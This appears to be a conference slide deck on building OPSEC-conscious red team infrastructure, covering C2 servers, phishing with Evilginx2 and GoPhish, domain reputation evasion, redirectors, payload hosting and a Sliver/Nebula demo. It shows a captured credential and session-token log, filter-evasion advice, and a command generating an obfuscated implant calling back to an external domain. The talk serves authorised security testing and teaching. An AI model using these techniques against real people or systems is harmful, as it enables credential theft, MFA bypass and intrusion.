



null Bangalore, Null/OWASP Combined Meet, 15 June 2024

OpSec Safe Red Team Infrastructure

By Rishi Kanwar




\$whoami

Rishi Kanwar

Senior Penetration Tester @Schneider Electric

Curious about Offensive Security



Agenda

- What is Red Team?
- Operational Security
- Red Team Infrastructure
- Phishing & Spear Phishing Fundamentals
- Tools Utilized
- Demo
- Q&A




Red Teaming

Red Teaming is the process of using tactics, techniques and procedures (TTPs) to emulate a real-world threat, with the goal of measuring the effectiveness of the people, processes and technologies used to defend an environment.



Red Team Assessments

- External Red Team Assessments
- Breach Attack Simulations
- Table Top Exercises



Operational Security

Process by which potential adversaries can be denied information about capabilities and intentions by identifying, controlling, and protecting general unclassified evidence of the planning and execution of sensitive activities.

From the perspective of a red team, this would be a measure of how easily our actions can be observed and subsequently interrupted by a blue team.


These white teens wore masks so they wouldn't get caught committing a hate crime.

Little did they know: When they snuck on campus to paint swastikas and slurs, their phones auto-connected to the school's WiFi. Under their individual usernames.

Watch the photos



Red Team Infrastructure




Modern Red Team Infra Components

- Command and Control Server (C2)
- Phishing Server
- Redirector Server
- Payload Server
- VPN's & Proxies
- Project Management tools (e.g., Hive)
- Red Team SIEM (e.g., RedElk)

C2 Servers

A Command and Control Server is a computer being controlled by an adversary that is used as a command center to send command to systems that have been infected by a malware.





Opsec Considerations for C2

- Network Segmentation & Isolation
- Traffic Encryption & Obfuscation
- Access Controls
- Anonymity of C2 (Hide using TOR Proxies)

OpSec: Nebula

Overlay Networking

Nebula - Overlay networking tool designed to be fast, secure, and scalable. Connect any number of hosts with on-demand, encrypted tunnels that work across any IP networks and without opening firewall ports

<https://github.com/slackhq/nebula>
<https://byt3bl33d3r.substack.com/p/taking-the-pain-out-of-c2-infrastructure-3c4>


Nebula: Open Source Overlay Networking


Nebula is an overlay networking tool designed to be fast, secure, and scalable. Connect any number of hosts with on-demand, encrypted tunnels that work across any IP networks and without opening firewall ports.

[Download Nebula on GitHub](#)


Core features

- Peer-to-peer, layer 3, virtual network ([Technical Details](#))
- Supports TCP/UDP/ICMP traffic via TUN adapter with split-tunneling
- Host firewall with groups-based rules engine for overlay traffic
- Route discovery and NAT traversal assisted by simple "lookup" hosts





OpSec: Overlay Networking





Phishing & Spear Phishing

- Phishing is a broad attack strategy where cybercriminals send out mass emails, messages, or websites designed to trick individuals into revealing personal information, such as login credentials, credit card numbers, or other sensitive data.
- Spear phishing is a targeted form of phishing where attackers tailor their messages to specific individuals or organizations. This type of attack is more sophisticated and personalized, making it harder to detect.

Phishing Example:

- **Email Content:** "Dear Customer, We noticed unusual activity on your account. Please click the link below to verify your information. [Fake Bank Link]"
- **Target:** Thousands of recipients
- **Personalization:** Minimal to none

Spear Phishing Example:

- **Email Content:** "Hi John, I hope you are doing well. I need you to review the attached document regarding the Q2 financial report. Let me know your thoughts. Best, [CEO's Name]"
- **Target:** Specific individual (John)
- **Personalization:** High, includes recipient's name, job function, and a relevant context

Phishing is Hard



Domain Reputation Challenges

- Does your sending IP shows up on a known spam list like spamhaus
- Is the geographical location of sending IP in another country?
- What's the reputation/category of the sending domain?
- What's the age of the sending domain?
- Does SPF fail?



So which domain should I Use?


Spoofed domains

Pro's:

- Free
- You are basically framing someone else.
- Probably already registered
- Successful spoofs can look very legit

Con's:

- Limited to existing domains that you can find.
- You may be able to use non-existent domains (easy to get detected and blocked).
Better to purchase in this case.
- Most high-value domains have SPF settings that makes it more difficult.
Impossible to spoof without detection
- No control of proof-of-ownership
- No influence over domain category or reputation.



Purchase expired domain or buy new ones

Pro's:

- Setup SPF, DMARC, DKIM yourself
- Control the MX record
- More likely already to be categorized (Purchasing expired domains)

Example: Some organization block social media sites or some allows employees to use social media.

Tip: Use healthcare or finance categories.


Con's:

- Availability of domain name (Need to be lucky)


Domain Categorization

- Categorizing using US.ORG domains
- Categorize with HumbleChameleon (Bypassing MFA and hiding behind legit domains)
- With expired domains, domain categorization is not much of a issue.
- Categorizing with Wayback. (Clone the old wayback snapshot)

Phishing Infra



ADVANCED DESIGN




Tools



EVILGINX2

- HTTP Proxy
- Capture Credentials
- Capture Session Data
- Defeat Two Factor
- Avoid cloning websites



```
root@debian-evilginx:~/tools/evilginx2# ./build/evilginx -p ./phishtets/

[00:23:56] [inf] loaded phishlet 'google' from 'google.yml'
[00:23:56] [inf] setting up certificates for phishlet 'google'...
[00:23:56] [inf] successfully set up local certificates for domain: [accounts.it-is-almost-done.evilginx.com api.it-is-almost-done.evilginx.com evil.it-is-almost-done.evilginx.com content.it-is-almost-done.evilginx.com]
[00:23:59] [inf] [0] new visitor has arrived: Mozilla/5.0 (Windows NT 6.1; Win64; x64; AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3159.181 Safari/537.36
[00:23:59] [inf] [0] loading URL: https://accounts.it-is-almost-done.evilginx.com/signin/v2/identifier
sessions

id | phishlet | username | password | tokens | remote ip | time
--|---|---|---|---|---|---
10 | google |  |  | none | 60.100.100.100 | 2018-05-28 00:23

[00:24:22] [inf] [0] Username: [to: 000_0000@gmail.com]
[00:24:29] [inf] [0] Password: [00_0000000000]
[00:24:41] [inf] [0] all authentication tokens observed!
[00:24:41] [inf] [0] redirecting to URL: https://redirect-to-this-url-after-logging-in.com
sessions

id | phishlet | username | password | tokens | remote ip | time
--|---|---|---|---|---|---
10 | google | to: 000_0000@gmail.com | 00_0000000000 | captured | 60.100.100.100 | 2018-05-28 00:24
```

<https://github.com/kgretzky/evilginx2>


= -- EVILGINX IOC's

```
1 package main
2
3 import (
4     "fmt"
5 )
6
7 func main() {
8
9     hg := []byte{0x94, 0xE1, 0x89, 0xBA, 0xA5, 0xA0, 0xAB, 0xA5, 0xA2, 0xB4}
10
11     for n, b := range hg {
12         hg[n] = b ^ 0xCC
13     }
14
15     fmt.Println(string(hg))
16 }
17
18
19
20
```

X-Evilginx

```
    }
    }
}

hg := []byte{0x94, 0xE1, 0x89, 0xBA, 0xA5, 0xA0, 0xAB, 0xA5, 0xA2, 0xB4}
// redirect to login page if triggered lure path
if pl != nil {
    _, err := p.cfg.GetLureByPath(pl_name, req_path)
    if err == nil {
        // redirect from lure path to login url
        rurl := pl.GetLoginUrl()
        resp := goproxy.NewResponse(req, "text/html", http.StatusFound, "")
        if resp != nil {
            resp.Header.Add("Location", rurl)
        }
    }
}
```






GOPHISH



- Send our Phishing Emails
- Track interaction
- Landing-Page hosting



<https://github.com/gophish/gophish>

= -- GOPHISH IOC's

```
Mime-Version: 1.0
Date: Wed, 31 Mar 2021 20:10:56 -0400
From: test@pwncompany.com
X-Mailer: gophish
Subject: Default Email from Gophish
To: "test@estr" <test@test.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: quoted-printable
```

It works!

- This is an email letting you know that your gophish configuration was successful.
- Here are the details:


Who you sent from: test@pwncompany.com

```
Mime-Version: 1.0
Date: Wed, 31 Mar 2021 22:04:52 -0400
From: test@pwncompany.com
X-Mailer:
Subject: Default Email from Gophish
To: test@estr.com
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: quoted-printable
```

Click Here <https://mycompany-loading.azureedge.net?rid=ICAC5eN>

```
123 var ErrSMTPNotFound = errors.New("Sending profile not found")
124
125 // ErrInvalidSendByDate indicates that the user specified a send by date that occurs before the
126 // launch date.
127 var ErrInvalidSendByDate = errors.New("The launch date must be before the \"send emails by\" date")
128
129 // RecipientParameter is the URL parameter that points to the result ID for a recipient.
130 const RecipientParameter = "rid"
131
```

Redirector Servers



Redirector Servers

Cloud Based Redirection Methods

- AWS Cloudfront
 - Content Delivery Network offered by AWS.
 - Provide secure content delivery of AWS services like Application Load Balancers
 - Web Application Firewall
 - Secure Domain “*.cloudfront.net” & Redirection Capability




Azure Frontdoor CDN

- CDN services offered by Azure.
- Provides an exposed endpoint with “*azurefd.net”
- Secure WAF



CDN- AZURE

- Hide our IP address
- IP Filtering
- Domain reputation
- azureedge.net




<https://azure.microsoft.com/en-us/services/cdn/>

On-Premise Redirection:

- NGINX Custom Rules Creation
 - Based on User Agent
 - Only Process requests to attacker network if:
 - A Specific "User-Agent" String is identified
 - Target Organization "IP Range" is identified



Reverse Proxy Servers




Reverse Proxy

1. Nginx
2. Traefik
3. Apache2
4. Caddy
5. Haproxy

<https://gist.github.com/curiousJack/971385e8334e189d93a6cb4671238b10>

- Save to `/etc/apache2/redirect.rules`
- Apache conf in `/etc/apache2/sites-available/`, put this statement
`# Include /etc/apache2/redirect.rules`
- Virtual hosts; SSL/TLS Let's Encrypt



Mailing Service

GoPhish requires a set of valid SMTP credentials to an SMTP server.


A thumb rule in this case is to avoid setting up an SMTP server from scratch as the email marketing industry greatly competes to increase the sending reputation of their SMTP servers.

There are plenty of solutions in the market like – AWS SES, Mailgun, Office 365 for the mass mailing. These are already well accepted and have good sending reputation.




MAILGUN

- **DO NOT ROLL YOUR OWN EMAIL SERVER**
- **API**
- **Gain email reputation**




Payload Server

Payload Delivery: Pwndrop



Pwndrop - self-deployable file hosting service for sending out red teaming payloads or securely sharing your private files over HTTP and WebDAV

<https://github.com/kgretzky/pwndrop>



Payload Delivery: Pwndrop

Pwndrop

- Set up custom download URLs, for shared files, without playing with directory structure.
- Set up automatic redirects to spoof the file's extension in a shared link.
- Change MIME type of the served file to change browser's behavior when a download link is clicked.
- Serve files over HTTP, HTTPS and WebDAV.
- Install and setup everything using a bash oneliner.



A screenshot of the Pwndrop configuration window. It features a dark blue background with white text. The window has four input fields: 'Name' with 'winPEASx64.exe', 'MIME Type' with 'application/x-msdownload', 'Path' with '/ErNigLun/winPEASx64.exe', and 'Redirect Path' which is empty. Below these fields is a dashed box containing an upload icon and the text 'Upload a payload file, which will be served instead of the original one, only when facade is enabled'. At the bottom right are 'Cancel' and 'Save' buttons.



DevOps: Warhorse

Warhorse -Fully-featured Ansible playbook to deploy infrastructure in the cloud for conducting security assessments. The Playbook combines Terraform & Ansible to deploy and configure virtual machines for a wide range of use cases

<https://docs.war-horse.io/>

<https://github.com/warhorse/warhorse>



WARHORSE






Demo

Automating Red Team Infra

Components Used

- C2 Teamserver – Sliver (Hosted on Digital Ocean)
- Nebula Servers (Lighthouse and Listeningpost – Hosted on AWS)
- Redirector Server – Setup Using Socat

```
(kali㉿kali)-[~/redteaminfra]  
$ ./sliver-server_linux
```

The logo for SLIVER is rendered in a green, pixelated, blocky font. Each letter is composed of small green squares, and the letters are interconnected by thin green lines, giving it a circuit-like or digital appearance.

All hackers gain deathtouch

[*] Server v1.5.42 - 85b0e870d05ec47184958dbcb871ddee2eb9e3df

[*] Welcome to the sliver shell, please type 'help' for options

[*] Check for updates with the 'update' command

[server] sliver > █

```
$ ssh-keygen
```

Generating public/private rsa key pair.

Enter file in which to save the key (/home/kali/.ssh/id_rsa):

Enter passphrase (empty for no passphrase):

Enter same passphrase again:

Your identification has been saved in /home/kali/.ssh/id_rsa

Your public key has been saved in /home/kali/.ssh/id_rsa.pub

The key fingerprint is:

SHA256:9Thw2CDUzsy6rCow4URG1Xn7YRtsx0Ic/DZ0ddutQU8 kali@kali

The key's randomart image is:

```
+---[RSA 3072]-----+
```

```
|.....=.o  ....E|
```

```
| o  o *.B .  ..o+|
```

```
|o iver +=@ =  B..+|
```

```
|..      +=& o  o |
```

```
|o.      .S B .  . |
```

```
|o.      . o .  . |
```

```
|..      .  .  . |
```

```
|.      o  .  . |
```

```
|.....|
```

```
+-----[SHA256]-----+
```

Provisioning Cloud Assets

[Add additional tags](#)

▼ Application and OS Images (Amazon Machine Image) [Info](#)

An AMI is a template that contains the software configuration (operating system, application server, and applications) required to launch your instance. Search or Browse for AMIs if you don't see what you are looking for below

Quick Start

Amazon Linux

aws

macOS

Mac

Ubuntu

ubuntu

Windows

Microsoft

Red Hat

Red Hat

Browse more AMIs

Including AMIs from AWS, Marketplace and the Community

▼ Key pair (login) [Info](#)

You can use a key pair to securely connect to your instance. Ensure that you have access to the selected key pair before you launch the instance.

Key pair name - *required*

[↻ Create new key pair](#)

listeningpost

The name can include up to 255 ASCII characters. It can't include leading or trailing spaces.

Key pair file

 Browse

Choose **Browse** and navigate to your public key. You may change the name of your key. Alternatively, paste the contents of your public key into the **Public key contents** text box.

```
ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAQGCjHkRPYiwkFTDr/tlwdEo7wTL+LvFRjcTVrB
8dsmKzze/H/fw4/W7/NcJPUfi0VW7ybLXXyzKc8HbO0OM6MVt9PCwf59qtNjntjr/
i/g+r9f5JBu61yFyuwgaDIJQtz6pvlI3huZ3LT0Q9s8IfEH+GuXigRJ67EVYTq9jRmpOW
mlw6v3p6i+8tHmaWVAiA/64MsJf2os0bPUK6IQDdsk9dQEbWnNmPT7t9nd7P6RFg
bgN/BF6JM+O8qsCvkm7Z1SExF2LTBzh/O/RUCQEzxcE0cBDeMWWO3itz7+rqLE6U
q/9Ehmjczeu0tkMtE+0r5LfLYtZSmfPai+oRWNpMmTgxNhhMeGo0PZu1s8CQGpSCE
tp2ZxldcyrEDv4qh66iBsSoKe+NqhOFFFMjwLkBYskxl3AxfNpXUxTktZGpBulgx2CrC
```

Tags - *optional*

No tags associated with the resource.

<input type="checkbox"/>	Name ▼	Instance ID
<input type="checkbox"/>	listeningpost	i-091526310d97c1a51
<input type="checkbox"/>	lighthouse	i-0acb06d2f27accd77

Firewall (security groups) [Info](#)

A security group is a set of firewall rules that control the traffic for your instance. Add rules to allow specific traffic to reach your instance.

☒ Create security group

☐ Select existing security group

We'll create a new security group called **'launch-wizard-4'** with the following rules:

☒ Allow SSH traffic from
Helps you connect to your instance


Custom ▼

🔍 Add CIDR, prefix list or secur

192.168.1.194/32 ✕

Setting Up Nebula






```
(kali㉿kali)-[~/redteaminfra/nebula]
$ ls
nebula  nebula-cert  nebula.tar.gz
```

```
(kali㉿kali)-[~/redteaminfra/nebula]
$
```

```
(kali㉿kali)-[~/redteaminfra/nebula]
$ mkdir certs && mv nebula-cert certs/

(kali㉿kali)-[~/redteaminfra/nebula]
$ ls
certs  nebula  nebula.tar.gz

(kali㉿kali)-[~/redteaminfra/nebula]
$ cd certs

(kali㉿kali)-[~/redteaminfra/nebula/certs]
$ ls
nebula-cert

(kali㉿kali)-[~/redteaminfra/nebula/certs]
$ ./nebula-cert ca -name "RedCorp, LLC"

(kali㉿kali)-[~/redteaminfra/nebula/certs]
$ ./nebula-cert sign -name "lighthouse" -ip "192.168.100.1/24"

(kali㉿kali)-[~/redteaminfra/nebula/certs]
$ ./nebula-cert sign -name "listeningpost" -ip "192.168.100.2/24" -groups "listening_posts"

(kali㉿kali)-[~/redteaminfra/nebula/certs]
$ ./nebula-cert sign -name "teamserver" -ip "192.168.100.3/24" -groups "teamservers"

(kali㉿kali)-[~/redteaminfra/nebula/certs]
$ ls
ca.crt  ca.key  lighthouse.crt  lighthouse.key  listeningpost.crt  listeningpost.key  nebula-cert  teamserver.crt  teamserver.key

(kali㉿kali)-[~/redteaminfra/nebula/certs]
$
```

Creating Nebula Config Files

```
1 pki:
2   ca: /home/ubuntu/ca.crt
3   cert: /home/ubuntu/lighthouse.crt
4   key: /home/ubuntu/lighthouse.key
5
6 static_host_map:
7   "192.168.100.1": ["192.168.100.1:4242"]
8
9 lighthouse:
10   am_lighthouse: true
11
12 listen:
13   host: 0.0.0.0
14   port: 4242
15
16 punchy:
17   punch: true
18
19 tun:
20   disabled: false
21   dev: nebula1
22   drop_local_broadcast: false
23   drop_multicast: false
24   tx_queue: 500
25   mtu: 1300
26   routes:
27   unsafe_routes:
28
29 logging:
30   level: info
31   format: text
32
33 firewall:
34   conntrack:
35     tcp_timeout: 12m
36     udp_timeout: 3m
37     default_timeout: 10m
38     max_connections: 100000
39
40   outbound:
41     - port: any
```

```
firewall:
  conntrack:
    tcp_timeout: 12m
    udp_timeout: 3m
    default_timeout: 10m
    max_connections: 100000

  outbound:
    - port: any
      proto: any
      host: any

  inbound:
    - port: any
      proto: icmp
      host: any

    - port: 4789
      proto: any
      host: any

    - port: 22
      proto: any
      cidr: 192.168.100.0/24
```

```

1 pki:
2   ca: /home/ubuntu/ca.crt
3   cert: /home/ubuntu/listeningpost.crt
4   key: /home/ubuntu/listeningpost.key
5
6 static host_map:
7   "192.168.100.1": ["54.204.254.124:4242"]
8
9 lighthouse:
10   am_lighthouse: false
11   interval: 60
12   hosts:
13     - "192.168.100.1"
14
15 listen:
16   host: 0.0.0.0
17   port: 4242
18
19 punchy:
20   punch: true
21
22 tun:
23   disabled: false
24   dev: nebula1
25   drop_local_broadcast: false
26   drop_multicast: false
27   tx_queue: 500
28   mtu: 1300
29   routes:
30     unsafe_routes:
31
32 logging:
33   level: info
34   format: text
35
36 firewall:
37   conntrack:
38     tcp_timeout: 12m
39     udp_timeout: 3m
40     default_timeout: 10m
41     max_connections: 100000

```

```

firewall:
  conntrack:
    tcp_timeout: 12m
    udp_timeout: 3m
    default_timeout: 10m
    max_connections: 100000

  outbound:
    - port: any
      proto: any
      host: any

  inbound:
    - port: any
      proto: icmp
      host: any

    - port: 80
      proto: any
      host: any

    - port: 443
      proto: any
      host: any

    - port: 4789
      proto: any
      host: any

    - port: 22
      proto: any
      cidr: 192.168.100.0/24

```

```

GNU nano 7.2                                     teamserver-con
pki:
  ca: /home/runner/.ssh/authorized_keys/nebula/certs/ca.crt
  cert: /home/runner/.ssh/authorized_keys/nebula/certs/teamserver.crt
  key: /home/runner/.ssh/authorized_keys/nebula/certs/teamserver.key

static_host_map:
  "192.168.100.1": ["192.168.100.1:4242"]

lighthouse:
  am_lighthouse: false
  interval: 60
  hosts:
    - "192.168.100.1"

listen:
  host: 0.0.0.0
  port: 4242

punchy:
  punch: true

tun:
  disabled: false
  dev: nebula1
  drop_local_broadcast: false
  drop_multicast: false
  tx_queue: 500
  mtu: 1300
  routes:
  unsafe_routes:

logging:
  level: info
  format: text

firewall:
  conntrack:

```

```


    tcp_timeout: 12m
    udp_timeout: 3m
    default_timeout: 10m
    max_connections: 100000
  outbound:
    - port: any
      proto: any
      host: any
  inbound:
    - port: any
      proto: icmp
      host: any
    - port: 80
      proto: any
      host: any
    - port: 443
      proto: any
      host: any
    - port: 4789
      proto: any
      host: any
    - port: 22
      proto: any
      cidr: 192.168.100.0/24

```


sg-04886ab166119c8ff - nebula

Details


Security group name

 nebula

Security group ID

 sg-04886ab166119c8ff

Description

 nebula_mesh_vpn

Inbound rules (1)



Manage tags

Edit inbound

 Search

< 1

roup rule... ▾

IP version ▾

Type ▾

Protocol ▾

Port range

od3adb20e...

IPv4

Custom UDP

UDP

4242

Transfer config.yaml files to respective servers

1. Lighthouse server
2. Listeningpost server

```
[ubuntu@192.168.100.0/24 ~]$ scp -i ~/.ssh/id_rsa lighthouse.crt ubuntu@192.168.100.0:~/lighthouse.crt  
[ubuntu@192.168.100.0/24 ~]$ scp -i ~/.ssh/id_rsa lighthouse.key ubuntu@192.168.100.0:~/lighthouse.key
```


Mesh Overlay VPN is established between teamserver, lighthouse & listeninpost server via UDP port 4242

```
ubuntu@ip-172-31-38-53:~$ sudo ./nebula -config listeningpost-conf.yml
INFO[0000] Firewall rule added      firewallRule="map[caName: caSha: direction:outgoing endPort:0 groups:[] host:any ip: proto:0 startPort:0]"
INFO[0000] Firewall rule added      firewallRule="map[caName: caSha: direction:incoming endPort:0 groups:[] host:any ip: proto:1 startPort:0]"
INFO[0000] Firewall rule added      firewallRule="map[caName: caSha: direction:incoming endPort:80 groups:[] host:any ip: proto:0 startPort:80]"
INFO[0000] Firewall rule added      firewallRule="map[caName: caSha: direction:incoming endPort:443 groups:[] host:any ip: proto:0 startPort:443]"
INFO[0000] Firewall rule added      firewallRule="map[caName: caSha: direction:incoming endPort:4789 groups:[] host:any ip: proto:0 startPort:4789]"
INFO[0000] Firewall rule added      firewallRule="map[caName: caSha: direction:incoming endPort:22 groups:[] host: ip:192.168.100.0/24 proto:0 startPort:22]"
INFO[0000] Firewall started         firewallHash=424ddc66ba27c265fd5d30b4c9ed87c9bc5280a0a55a77a9c6f5b9bd9f057bcb
INFO[0000] Main HostMap created     network=192.168.100.2/24 preferredRanges=[]
INFO[0000] UDP hole punching enabled
INFO[0000] Nebula interface is active
INFO[0000] Handshake message sent   build=1.5.2 interface=nebula1 network=192.168.100.2/24 udpAddr="0.0.0.0:4242"
INFO[0000] Handshake message received handshake="map[stage:1 style:ix_psk0]" initiatorIndex=3310895045 udpAddrs="[54.204.254.124:4242]" vpnIp=192.168.100.1
" initiatorIndex=3310895045 issuer=69010ce1a0958efe8a5325cd25f12887f628d2fba131953a5c82cb4ef2d1695e remoteIndex=3310895045 responderIndex=4042170455 sentCachedPackets=1 udpAddr="54.204.254.124:4242" vpnIp=192.168.100.1
```

```
ubuntu@ip-172-31-38-53:~$ sudo ./nebula -config lighthouse-conf.yml
INFO[0000] Firewall rule added      firewallRule="map[caName: caSha: direction:outgoing endPort:0 groups:[] host:any ip: proto:0 startPort:0]"
INFO[0000] Firewall rule added      firewallRule="map[caName: caSha: direction:incoming endPort:0 groups:[] host:any ip: proto:1 startPort:0]"
INFO[0000] Firewall rule added      firewallRule="map[caName: caSha: direction:incoming endPort:80 groups:[] host:any ip: proto:0 startPort:4789]"
INFO[0000] Firewall rule added      firewallRule="map[caName: caSha: direction:incoming endPort:22 groups:[] host: ip:192.168.100.0/24 proto:0 startPort:22]"
INFO[0000] Firewall started         firewallHash=3190d01bf8eb84ecff6cfec0ba8c3ef02c117ad190036ae1c70ceb45dcdfce56
INFO[0000] Main HostMap created     network=192.168.100.1/24 preferredRanges=[]
INFO[0000] UDP hole punching enabled
INFO[0000] Nebula interface is active build=1.5.2 interface=nebula1 network=192.168.100.1/24 udpAddr="0.0.0.0:4242"
```

```
(kali@kali)-[~/redteaminfra/nebula]
$ sudo ./nebula -config teamserver-conf.yml
[sudo] password for kali:
INFO[0000] Firewall rule added      firewallRule="map[caName: caSha: direction:outgoing endPort:0 groups:[] host:any ip: proto:0 startPort:0]"
INFO[0000] Firewall rule added      firewallRule="map[caName: caSha: direction:incoming endPort:0 groups:[] host:any ip: proto:1 startPort:0]"
INFO[0000] Firewall rule added      firewallRule="map[caName: caSha: direction:incoming endPort:80 groups:[] host:any ip: proto:0 startPort:4789]"
INFO[0000] Firewall rule added      firewallRule="map[caName: caSha: direction:incoming endPort:443 groups:[] host:any ip: proto:0 startPort:4789]"
INFO[0000] Firewall rule added      firewallRule="map[caName: caSha: direction:incoming endPort:22 groups:[] host: ip:192.168.100.0/24 proto:0 startPort:22]"
INFO[0000] Firewall started         firewallHash=424ddc66ba27c265fd5d30b4c9ed87c9bc5280a0a55a77a9c6f5b9bd9f057bcb
INFO[0000] Main HostMap created     network=192.168.100.3/24 preferredRanges=[]
INFO[0000] UDP hole punching enabled
INFO[0000] Nebula interface is active build=1.5.2 interface=nebula1 network=192.168.100.3/24 udpAddr="0.0.0.0:4242"
INFO[0000] Handshake message sent   handshake="map[stage:1 style:ix_psk0]" initiatorIndex=3531511077 udpAddrs="[54.204.254.124:4242]"
INFO[0000] Handshake message received certName=lighthouse durationNs=308512570 fingerprint=cf296869602213f01eb40f6728b1f6d209dd802d378270" initiatorIndex=3531511077 issuer=69010ce1a0958efe8a5325cd25f12887f628d2fba131953a5c82cb4ef2d1695e remoteIndex=3531511077 responderIndex=1172247655 sentCachedPackets=1 udpAddr="54.204.254.124:4242" vpnIp=192.168.100.1
```

```

$ ip -br -c a
veth3935e5b@if20 UP fe80::e878:82ff:fe62:525a/64
nebula1 UNKNOWN 192.168.100.3/24 fe80::df13:7edf:4e8b:935f/64

```

```


$ ping -c 1 192.168.100.1
PING 192.168.100.1 (192.168.100.1) 56(84) bytes of data.
64 bytes from 192.168.100.1: icmp_seq=1 ttl=64 time=260 ms


--- 192.168.100.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 260.424/260.424/260.424/0.000 ms

```


Set Up Reverse Port Forwarding & SOCAT

```
ubuntu@ip-10-10-10-10:~$ socat -h
socat by Gerhard Rieger and contributors - see www.dest-unreach.org
Usage:
socat [options] <bi-address> <bi-address>
options (general command line options):
```

- 
- Our next objective is to ensure traffic can traverse from Listeningpost's external IP address all the way back to our teamserver. We'll prove this concept with port 443 and HTTPS to ensure OPSEC
 - To do this securely, we will create a reverse port forward from the teamserver to the Listeningpost



```
-(kali㉿kali)-[~/Desktop]
```

```
$ sudo ssh -N -R 8443:localhost:443 -i certs/id_rsa ubuntu@listeningpost
```

```
sudo socat tcp-listen:443,reuseaddr,fork,bind=172.31.28.251 tcp:127.0.0.1
```

Allow Ingress traffic on listeningpost server

Associated security groups

Add one or more security groups to the network interface. You can also remove security groups.

Q sg-04886ab166119c8ff



Add security group

Security groups associated with the network interface (eni-09b611c478b7346ad)

Security group name	Security group ID	
launch-wizard-4	sg-0dc0a03e194e5642e	<button>Remove</button>
nebula	sg-04886ab166119c8ff	<button>Remove</button>

OpSec !! TLS & HTTPS

```
kali@kali:~$ openssl req -new -x509 -sha256 -newkey rsa:2048 -nodes -keyout opsec.key.pem -days 365 -out opsec.cert.pem
```

You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.

Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Opsec
Organizational Unit Name (eg, section) []:IT
Common Name (e.g. server FQDN or YOUR name) []:Opsec.info
Email Address []:asd@asd.com

```
(kali㉿kali)-[~/redteaminfra]
└─$ ls
nebula  opsec.cert.pem  opsec.key.pem
```

Creating https listener via importing self signed certificates and generating a windows implant

```
(kali㉿kali)-[~/redteaminfra]
$ ./sliver-server_linux

  CAUSAL METRO

All hackers gain jump-start
[*] Server v1.5.42 - 85b0e870d05ec47184958dbcb871ddee2eb9e3df
[*] Welcome to the sliver shell, please type 'help' for options

[*] Check for updates with the 'update' command
[server] sliver > https --cert /home/kali/redteaminfra/opsec.cert.pem --key /home/kali/redteaminfra/opsec.key.pem



[*] Starting HTTPS :443 listener ...

[*] Successfully started job #1

[server] sliver > generate --http https://opsec.info

[*] Generating new windows/amd64 implant binary
[*] Symbol obfuscation is enabled
[*] Build completed in 30s
[*] Implant saved to /home/kali/redteaminfra/CAUSAL_METRO.exe

[server] sliver > 
```





Thank You (Q&A)